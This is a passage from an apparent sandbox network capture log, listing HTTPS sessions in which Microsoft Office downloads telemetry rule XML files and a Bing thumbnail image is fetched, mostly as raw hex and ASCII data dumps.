71 3f d8 Data Ascii: $7Y'tX(`5,Lt\|'Piu2<s:'~Q_qM>2fT{}Jo\a&}&=Modn6k&'_5-;o%v7n=-K4F{/?twp-5\q?
2024-11-23 18:52:20 UTC	16384	IN	Data Raw: 6f 27 92 29 b6 6e 85 df 77 95 bb f0 63 fc eb 3a c7 5c fb 14 7e 65 f4 71 ff 00 b7 34 c8 b0 7c bd be f1 a2 eb c7 3e 1c 8a 0f 31 ae 3f ef ca 6e ff 00 0a 9e 6b 80 96 3a 55 f5 bc 10 cd a9 49 b6 45 9b f7 d3 42 8c db d7 d0 6d e6 ad 4d a1 a4 11 f9 37 91 dd 4a df bc 64 48 5d 59 9f fe 05 b6 b9 eb 8f 8a da 7a cd e4 db e8 b7 d7 11 ff 00 c0 57 fa d4 77 9f 14 e7 78 d3 ec 7e 1a 8f e5 7d df be 9f 77 fe 83 55 cc 87 63 a1 d1 f4 0d 32 2d ab a6 cf 1c b6 71 4c d3 be c7 dd b1 ba f2 bf fc 4d 49 ab 4b a7 e9 d6 bf 6e 93 c4 3b b7 4d bb f7 d7 4c cb b7 b8 08 bc fd da f3 fb ef 19 f8 8e ff 00 e5 5f b2 d9 ab 6e ff 00 53 f2 d6 14 da 75 cd e4 8f 25 c6 a5 fe fa 27 f8 d5 5d 32 59 db 5f 78 b3 43 b5 9e 68 74 f8 27 ba 86 54 fd eb cc ed 16 f6 fe f7 1f 35 61 2f 88 35 3b cd 37 ec f6 71 c8 b0 af Data Ascii: o')nwc:\~eq4\|>1?nk:UIEBmM7JdH]YzWwx~}wUc2-qLMIKn;ML_nSu%']2Y_xCht'T5a/5;7q
2024-11-23 18:52:20 UTC	16384	IN	Data Raw: a7 9c df bc fb f4 c8 e4 56 f9 bf bb f3 54 cb 69 13 46 fb bc c6 f3 6a bc d6 0b 14 89 fb cd ca c8 b5 4a 22 25 93 6c b1 a4 91 ff 00 ae 5f e3 ff 00 66 b7 7c 3f aa c1 14 8f 0f f7 93 72 7c 9f 37 ba d6 3d 8d a4 4f 03 af f1 6f fe ff 00 e5 56 18 41 14 88 d1 c9 b5 9d 37 26 c4 fe 21 44 a3 70 b9 ad 34 ed f3 fe e3 cd b7 6f be 8f f3 2b ad 61 6b da 5b e9 11 a6 a9 63 e6 5c 69 b2 bf dc 7f bd 6a de 8d fe cf a1 ad 1d 3f 54 6f 21 d7 c8 dd fc 5f f0 2a b9 f6 bb 67 df 1f 91 27 93 74 8d 14 d0 bf dd dd b6 9c 44 72 f3 48 cd 1e df e2 6f 9a a0 d9 72 bf f2 cf fb d5 2b 5b cb 6f 75 fd 9e be 65 c6 df f5 33 27 f7 7f c6 a7 f3 d8 c1 b7 cb fe 36 d9 f8 d5 81 4e 38 e5 69 3c bf ba db 28 cc 9f f3 cf ee d6 9c 69 b6 74 93 cb dd bb 6f cf 49 26 e6 91 d7 cb fb c8 ad 47 2b 01 2c 64 bc 6f f7 be 56 74 Data Ascii: VTiFjJ"%l_f\|?r\|7=OoVA7&!Dp4o+ak[c\ij?To!_*g'tDrHor+[oue3'6N8i<(itoI&G+,doVt
2024-11-23 18:52:20 UTC	16384	IN	Data Raw: eb 4e d3 4c 6b 24 30 b4 7b 9b e6 89 fe 7f bf 8f bd 53 b8 58 9b 4d d2 1b fb 35 ed 66 bb 81 5a 27 f9 3e 7f fb ea b7 63 d1 f4 86 ba 86 ea 6d 77 4d 65 95 37 4d bd db 74 32 6e eb 8c 7f 9e 6b 02 d6 e6 05 91 ee 16 3d ab bf 6a 7f c0 d7 ff 00 ad 52 46 2c da 4b 85 86 38 fe 5f 9b 67 d2 a1 c4 ab 9d 3d 89 f0 bd 84 6e d7 57 71 ba b7 cb fc 4c bb 47 f9 ff 00 d0 6b 46 6d 5f c3 d3 c7 37 93 3c eb 22 a7 9e 97 76 ff 00 2a bb 7f 7b e8 57 ad 71 37 17 36 d3 da bc 31 d8 46 ac df 2a 3a 3b 37 f0 e4 0f c6 a1 8e ff 00 ec f1 db dc 5b c1 1f fa 2b b6 cf f8 1a fd df f7 69 72 8c ec ac 7c 51 a5 24 9f be 8e 76 9a de 66 68 5f 62 aa bc 65 be 68 dd 47 7f 43 f4 35 ad 6b e3 3d 22 59 12 e2 cf 49 93 cc 6f be 8f b7 6c df fc 4b 57 9d ae af e4 5d 42 cb 04 6b b9 23 d8 8e 9e bc 51 0e b3 a8 7e fa 6f dd Data Ascii: NLk$0{SXM5fZ'>cmwMe7Mt2nk=jRF,K8_g=nWqLGkFm_7<"v{Wq761F:;7[+ir\|Q$vfh_behGC5k="YIolKW]Bk#Q~o
2024-11-23 18:52:20 UTC	16384	IN	Data Raw: fe cf de f4 5e b5 8b ab 78 0a cf 52 93 6b 47 24 4d 6e ff 00 23 a2 2e ed c5 7e 5f f8 0d 55 e2 2d 4e 16 44 b6 ba d1 d2 de 3f b2 c5 32 db fe f9 36 2b 2e ef bb f2 b7 eb 5c d7 88 b4 3f 22 fb 6b 41 6a ca ae d0 7d c6 5f 98 2a 65 c1 1c d7 a0 cd f0 db 5c b5 de d6 37 76 37 0c d3 2c ae 93 23 2a ed ee 08 e9 9f 7a b5 a6 f8 42 fb 51 8e 6d de 5d bf d9 e6 93 7e cf 9b aa ed e1 ea 6f 1e e1 66 79 ee 97 78 b1 5f 5b dc 79 11 b4 6b 34 d0 6f b8 4f 97 68 fb bc 2f e5 9c 7f 15 6a 78 8a 4d 3e f2 fa 1d 4a 1b 4b 55 dd 0f d9 9d d1 37 2e ef bf 0f 6e fb 99 7f 2a e9 2c 7e 19 de 5a c7 6f 1e 9b 7f 25 c7 d8 fc c6 fb 3e cd df 29 fb df 9d 3b 49 f8 79 a9 b4 77 10 dd 47 b6 39 53 ca 49 bc cd cc 9e 85 7f e0 5d a8 dc 7a 9c 6d c5 de a0 b1 bc 9a 5c 72 2c cc eb 73 6f fd ef 31 1b ee f0 3f fd 5b eb 6b Data Ascii: ^xRkG$Mn#.~_U-ND?26+.\?"kAj}_e\7v7,#zBQm]~ofyx_[yk4oOh/jxM>JKU7.n*,~Zo%>);IywG9SI]zm\r,so1?[k
2024-11-23 18:52:20 UTC	16384	IN	Data Raw: 57 df f7 92 a6 e3 3a 48 e7 57 8d 24 6f e2 aa 97 17 8b 6f bf ce 8e 35 8f 7e dd ee 9b bf f4 1a e6 ff 00 b4 63 4d d1 c7 f3 6d 7d ae 95 42 e2 f3 fd 39 1b cf 9d 56 74 f9 d1 fd aa ac d8 ac 6e c7 a9 b3 ce eb fb b9 7e 7f f6 95 aa b6 bd aa 4b 3c 89 6f e5 c7 14 7f c7 fe f5 51 8e 36 68 de 48 7e ea fc df 25 17 57 3f 68 d9 1c d1 c6 ab fc 6e 89 f2 ed a1 6e 33 42 18 ac 5f fd 64 13 ab 6c fb e8 fb 77 d4 3a b2 41 04 88 d6 be 67 96 c9 fc 15 0b 47 72 91 ed 8e 4f 35 7f e0 5f ca af 68 76 f3 cf bf 6f cd 27 f7 26 fb bf 8d 67 7e a5 19 b6 b7 93 af fc f4 da bf 71 d3 fb b5 ad e7 b4 b6 be 74 91 c9 71 b7 fd ba b5 24 7a 7d ac 9e 5c da 6c 71 4c 89 f3 ec 7d bb ea 3b 8d 47 cd 83 c9 b7 b4 f9 9b f8 dd 2a 5b d4 a5 12 92 fc b2 79 d6 f1 c8 db 7e fe fa 81 44 af b9 7c bf f5 b5 a9 a3 e9 77 93 fe Data Ascii: W:HW$oo5~cMm}B9Vtn~K<oQ6hH~%W?hnn3B_dlw:AgGrO5_hvo'&g~qtq$z}\lqL};G*[y~D\|w
2024-11-23 18:52:20 UTC	16067	IN	Data Raw: 8c d2 47 f7 6e 37 36 cd 9e 9d 6a 9e 87 af c9 67 1d dc 2b 27 fa 1b 7c ce 89 fc 0d d9 bf a1 ab e6 48 2c 6a 68 a9 2d 9f 88 2e 34 f6 f3 36 ca 9e 6a 7f 3a d0 be 47 fd cc d1 c7 b7 ec ef f7 ff 00 be a6 b9 5b 8d 57 ed 93 a6 a1 0f ee a6 b7 fe fb fd fa 6c da fc ad 1f cb 1f fe 3f 48 2c 75 8d b5 a0 78 ff 00 77 f7 36 ff 00 7a b3 b4 f9 1b 49 d4 91 7c cd d0 cb f7 1f fa 57 39 26 a9 73 f2 47 0f dd 5f f6 2a 6b 5d 42 e6 7d eb 34 72 79 6b 0f df ff 00 6a 98 58 e9 bc c8 20 d4 be d1 1c fb 96 54 f9 d2 ac 7d b2 28 b7 c2 b3 fc bf c7 bf e6 ae 36 ea 7b e4 b5 7f 27 cc 68 5b ee 3f fb 34 d9 0e a0 d1 f9 8d f3 2b 7c df 7e 86 c2 c7 55 67 71 03 47 34 32 49 23 46 db 95 dd 3f 3a 4f b5 c4 92 79 7e 7f cd 17 ca 8f fe cf 6c d7 25 1c 1a ac fb d5 7c c5 93 66 ef 9e a6 87 4b be 7d f2 2f 98 cd b3 fd Data Ascii: Gn76jg+'\|H,jh-.46j:G[Wl?H,uxw6zI\|W9&sG_*k]B}4rykjX T}(6{'h[?4+\|~UgqG42I#F?:Oy~l%\|fK}/
2024-11-23 18:52:20 UTC	16384	IN	Data Raw: 6f 3e 75 f1 1d dc 96 b1 cf 6a d6 16 eb 2d a3 ec dd 6b 34 27 ee a4 ad b4 ed 07 f8 73 9d ab f7 b8 ad 0d 06 ef 57 96 c7 cb d1 e7 b5 5b cb 54 f2 ae 34 bb bd ab 2d b3 6e db c3 33 6d db fe ce 71 e8 6b 99 f8 7f a8 c1 a4 dd 4d 63 63 25 d5 9b 2a 6d 4f df b3 5a dc c6 58 b2 b7 52 46 73 55 7c 59 6f a5 69 b1 cd a8 5b e8 be 6e 9b 74 eb 16 ad 69 71 fb d5 85 87 fa a9 d0 ff 00 77 77 04 56 56 be 8c b3 d7 bc 13 77 3e b3 f6 b5 59 23 69 ad d3 6f 92 89 b6 58 54 f5 01 4f 0e 9e 9f e4 d7 2f f1 db e1 b3 78 9a 09 b5 8d 3e 48 d7 56 8a dd 55 d3 67 cb a8 28 fe 17 cf fc b4 03 a1 aa 76 fa 84 11 78 7e 1b 3b 7d 0b 6a aa 34 f6 ff 00 67 9f ec b2 a4 9f f3 d2 27 fe 7f de 1d 6b d1 3c 13 a8 b6 ad e1 fb 48 f5 0b bf b4 5d 6c 5d f3 6c 5f 9f fd f5 1f a9 15 c9 79 52 a8 a7 03 5b 29 c6 d2 3e 15 f1 26 Data Ascii: o>uj-k4'sW[T4-n3mqkMcc%*mOZXRFsU\|Yoi[ntiqwwVVw>Y#ioXTO/x>HVUg(vx~;}j4g'k<H]l]l_yR[)>&
2024-11-23 18:52:20 UTC	16384	IN	Data Raw: 8f fe cd 61 ea 5e 20 6b 59 3e d1 0c 71 ed 67 da ff 00 3f f8 7f 85 64 e9 ee de 64 cb 0c 92 5b c9 2f cd bd 13 e5 dd e8 c3 fb be e2 b9 df 1b 5c 33 df 5b b2 da 49 6b b9 fc ab 87 ff 00 6b e9 e9 5a 53 a1 16 f5 14 a5 a1 e8 92 78 8d a5 81 24 8e d3 72 fd dd ff 00 c4 9f 8d 54 d5 b5 5b 97 8d da 48 24 b8 b5 44 f9 fe ef c9 f5 aa 1a 7d b2 fd 87 6c 92 6d f3 53 e7 f9 ff 00 84 7f 15 5e d3 6e ed 97 4e db 71 24 12 c9 13 ed 74 fe 17 fc bd 69 f2 a4 b4 11 26 8f 70 af a5 24 96 b3 c9 e5 b7 fb ab b3 fd 9a d2 b5 96 d9 ad 7e cf 37 97 75 1b 7c af 0d f3 ee df fe cb ff 00 76 b9 3d 6b 4d 9f 46 8f fb 43 43 bf 91 b4 99 5f 75 c5 a7 f1 5b 29 fe 30 3f 89 6b 43 4f 9a 5b 3b 5f b4 5c 5d c7 7f 67 7a 9b 77 a7 dd 75 fe eb 7f 71 87 63 49 e8 ae 8a 34 ae 2c af ac e4 9a f3 4f b0 91 ac d7 ef db a7 cd Data Ascii: a^ kY>qg?dd[/\3[IkkZSx$rT[H$D}lmS^nNq$ti&p$~7u\|v=kMFCC_u[)0?kCO[;_\]gzwuqcI4,O

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:19 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:20 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 8592a006-f01e-0085-6b6a-3c88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185220Z-174c587ffdf7t49mhC1TEB4qbg00000003bg000000000rsq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:20 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:20 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:20 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 81892826-901e-00ac-7050-3cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185220Z-15b8b599d88qw29phC1TEB5zag000000036g00000000n2h3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:20 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:20 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:20 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: ae573645-101e-008d-516d-3b92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185220Z-174c587ffdfb74xqhC1TEBhabc000000037000000000q4ee x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:20 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49729	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:20 UTC	375	OUT	GET /th?id=OADD2.10239370639330_1D80T5H13WVAODNQ8&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-23 18:52:21 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 835660 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 154E51F1CD204054A85197B3315066F5 Ref B: EWR311000107039 Ref C: 2024-11-23T18:52:20Z Date: Sat, 23 Nov 2024 18:52:20 GMT Connection: close
2024-11-23 18:52:21 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1c 64 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 31 3a 32 31 20 31 36 3a 32 33 3a 34 30 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``dExifMM*bj(1r2i``Adobe Photoshop 25.1 (Windows)2023:11:21 16:23:408
2024-11-23 18:52:21 UTC	16384	IN	Data Raw: 82 26 fd f2 c9 27 cd ff 00 2c 69 d1 c7 3f 97 b9 53 e5 6f e3 aa 52 95 f7 38 6b 6a b5 64 72 47 e5 41 e5 af fa b6 fe 0a a2 b0 2a 49 be 34 dd b6 ad dd 45 2b c8 9f bc 8d da ab 63 3b be 7d ad 5b 43 53 86 a4 ba 14 e6 6d af ba 3f bd 51 b1 95 a4 ab d3 27 97 fd da af 70 aa 7e 65 ad 14 50 e1 3b 91 ac bf dd 4a 31 24 8f fe f5 3d 91 47 dd 7f 9a a5 b7 45 f3 37 48 ff 00 2d 1a 0d c9 21 ab 6c d6 bf bd 3f 35 41 71 27 99 f7 aa cd d6 d2 fb 43 ff 00 c0 aa ab 06 67 da b5 36 08 5d ea f7 22 64 6a 23 4c 7d ea b3 e5 7c 9c 54 a6 2d bf 7a 8d 8a 75 0a 6a 1b 75 5c b7 2c 29 70 b5 23 47 f2 ee a6 8c a5 52 e5 ab 39 3c df f7 aa d4 47 1f 76 b3 6d 65 f2 fe 5a d0 b7 7d d4 8e 2a b1 b3 f2 2d c6 8c d4 93 44 bf c5 4f 8d d7 7e d5 ff 00 81 54 db 73 d6 8d ce 27 26 99 4d 76 fd c5 4a 9e 35 53 f2 d0 d1 Data Ascii: &',i?SoR8kjdrGAI4E+c;}[CSm?Q'p~eP;J1$=GE7H-!l?5Aq'Cg6]"dj#L}\|T-zuju\,)p#GR9<GvmeZ}-DO~Ts'&MvJ5S
2024-11-23 18:52:21 UTC	16384	IN	Data Raw: 09 22 c1 24 5f f3 f7 e4 c8 bf 6c 7f b9 9f 9f 9f 94 ee ae 4b c3 be 24 b1 d7 b5 5d 26 f2 4d 76 ea de 4f 9b ed 71 43 b5 9b 9d fb b6 f0 31 9f ba 77 67 e5 ad 3f b4 58 ea 3e 2a 5d 37 4b d7 92 5d 3f ec fe 57 92 ef 27 9f 32 ed d8 51 8a af de 46 e4 0f 4a d6 38 49 54 4e 37 e5 fc cf 62 9c e5 5a 16 93 1b aa 58 68 be 64 d6 77 9e 1e 82 5b 88 bf 7f 6f 35 a4 0b 3c f6 79 fb b1 e1 ff 00 8b ee f4 5c d7 25 e3 2f 08 bc 1a 83 6a ba c6 85 ac 45 75 3b ac 76 2f 7d 1b 5a ad 9a 8f bb e5 27 43 fe 73 5e 91 63 f6 6f 07 f8 ab fb 63 c2 ff 00 f0 91 c5 34 56 fb 5d f5 68 3c fb 37 90 af cb f3 a1 dc 9e d5 e7 9f 1a a4 f1 7c 57 56 fa 96 a1 ab 5d 4f ab 5e 6e 93 ec f7 73 ac ed 6a bf ec 7c d8 da 47 d2 bb 30 35 31 34 2b a8 c6 dc bd db 6f ee 5f ad ce 2a 98 58 c6 77 b1 e7 fe 28 f1 4d 9f 87 ee ae ed Data Ascii: "$_lK$]&MvOqC1wg?X>]7K]?W'2QFJ8ITN7bZXhdw[o5<y\%/jEu;v/}Z'Cs^coc4V]h<7\|WV]O^nsj\|G0514+o_Xw(M
2024-11-23 18:52:21 UTC	16384	IN	Data Raw: ea fa c2 c5 1b 7b 7f a4 5c 3b 45 3b e5 bf da c8 e0 7f 74 54 77 5e 21 d7 2f ee ad e1 f0 ae 9b 1b 69 ff 00 6b 68 a5 86 ee e9 a5 fb 4a 86 f9 9e 2f 37 3b 91 4f f7 5b 23 d2 b6 ef b5 4f 0e 6a f6 3f 65 ff 00 89 ad be b5 14 cd 14 df 67 4f dd 4d 1f f7 70 f8 08 cb b7 b1 ae 9a b8 74 af 28 68 df 5e a6 d0 ad 39 db 99 68 50 9b c5 12 e8 9a 6a 5c 6a 17 fe 6c 76 bf 2a 5c 79 7f 71 8b 7d ef f6 c5 69 37 8a e3 d2 3c 54 8d a7 c1 23 42 d0 aa dc 5b c3 f3 2b b7 97 f3 4b bb 77 7d db f3 f4 ac df 1a 41 e1 cd 7b c3 30 d9 e9 be 65 d3 7d ad 7e dc f3 3b 79 bb 47 f0 c6 bf 77 6f cb cb 2f f0 d6 3c 97 1a 36 93 a9 4d 75 fd a5 6b fd 9b 15 a4 3b 2f ac 77 4f b3 7a f0 a3 23 e4 db b3 9a e4 a7 84 52 a7 7b 6a cc ea 62 39 aa 28 5f 44 77 eb e2 bb 3d 2f ed 7a b4 97 f2 34 cb 6f e5 42 9b 15 9b ea 71 c3 Data Ascii: {\;E;tTw^!/ikhJ/7;O[#Oj?egOMpt(h^9hPj\jlv*\yq}i7<T#B[+Kw}A{0e}~;yGwo/<6Muk;/wOz#R{jb9(_Dw=/z4oBq
2024-11-23 18:52:21 UTC	16384	IN	Data Raw: cf 4a d4 f1 e4 f0 4f e3 14 d6 9a c6 d6 fe 15 99 96 6b 4d 8b b5 23 0b 80 0d 75 37 5a 47 82 6f 2e ad ef 26 82 35 fb 46 d5 89 13 e5 fd e1 ff 00 57 f2 8f bb 5c 4a bf b2 84 6a 49 b6 e4 bf a4 6d 28 ab b5 d1 1c 4a cf 73 6b 3f 9d 67 e6 5b c7 2a 2e c7 77 dc af f2 8f 97 d0 f5 e4 76 ad 7d 3f 50 b3 b7 d3 7e c2 b1 c0 cd 2b af da 13 63 79 5b 7a fc f5 9f e3 23 2e 9b a9 5c 47 e4 79 b0 da bc 8b 0f cf e6 f9 39 c2 02 bd b7 66 ad 78 46 ca f2 d6 7b 18 f5 0b 4b ab 8d 16 f2 66 89 37 ce b7 52 c2 c5 b6 3f cb c3 2f ad 6b 2c 3c 2b 43 9d 7a 82 aa e0 56 f1 06 8f e1 36 d0 ef af 23 d2 64 ba 6d eb 3d c2 23 b6 de 57 1b be 6f e1 03 ff 00 1e ac 8d 1f c1 fa 44 f3 ea 0b a6 ea 5f 60 fb 3d db 4f 35 c3 dd 47 6b 14 2a 57 6a 05 77 fb df f0 1e b5 df dc 78 93 4f b3 d5 6e e3 59 2c 62 b8 b7 45 8a 1f Data Ascii: JOkM#u7ZGo.&5FW\JjIm(Jsk?g[.wv}?P~+cy[z#.\Gy9fxF{Kf7R?/k,<+CzV6#dm=#WoD_`=O5GkWjwxOnY,bE
2024-11-23 18:52:21 UTC	16384	IN	Data Raw: e0 ab 75 1f 85 6e e5 15 4a 4a 4b 6f d0 d3 0f 5e a3 9b 8d f4 46 fd 8e 9f a3 5b dd 5c 79 9a 2f db fe 75 59 b6 22 ed 75 ec bf 7b 3f 85 4b 75 06 95 0d f5 c6 a1 71 77 6b a3 5a c5 fe 9d 71 6c 9b 9b ed 32 0e df 37 1c 74 0b eb 51 e8 fa ce a5 06 a9 fd 93 a4 f8 7b 43 d4 7e cf e6 45 6f 7d e7 b2 cf 37 4c 3c 9f c2 d8 eb da b2 35 8f 0f f8 f1 75 cd b7 5a 6e 9d 71 35 e7 ef f6 3c eb 2a a3 6e f9 47 5c 27 0d f8 d7 24 a2 e4 ec de e7 75 4a f4 55 ae 53 9b e2 2d a6 ad e2 3b b9 21 9e fa 2f 36 25 68 5f e5 5f 25 51 be 7f 97 ee b7 bd 77 3e 1b 95 6f 77 dc 2e a5 26 a8 ab 71 fb eb 7b 89 fe 59 94 2e ef 2f d7 7f 6e 78 f9 78 35 e1 ea d7 9f f0 94 26 9b 71 63 e4 2c 57 2a b7 d2 bd 92 fc f3 19 33 b3 76 7e 4c 7c d8 ad ff 00 0e c5 ae 5c f8 c2 d3 4f d0 63 d5 6f d5 62 f9 e5 74 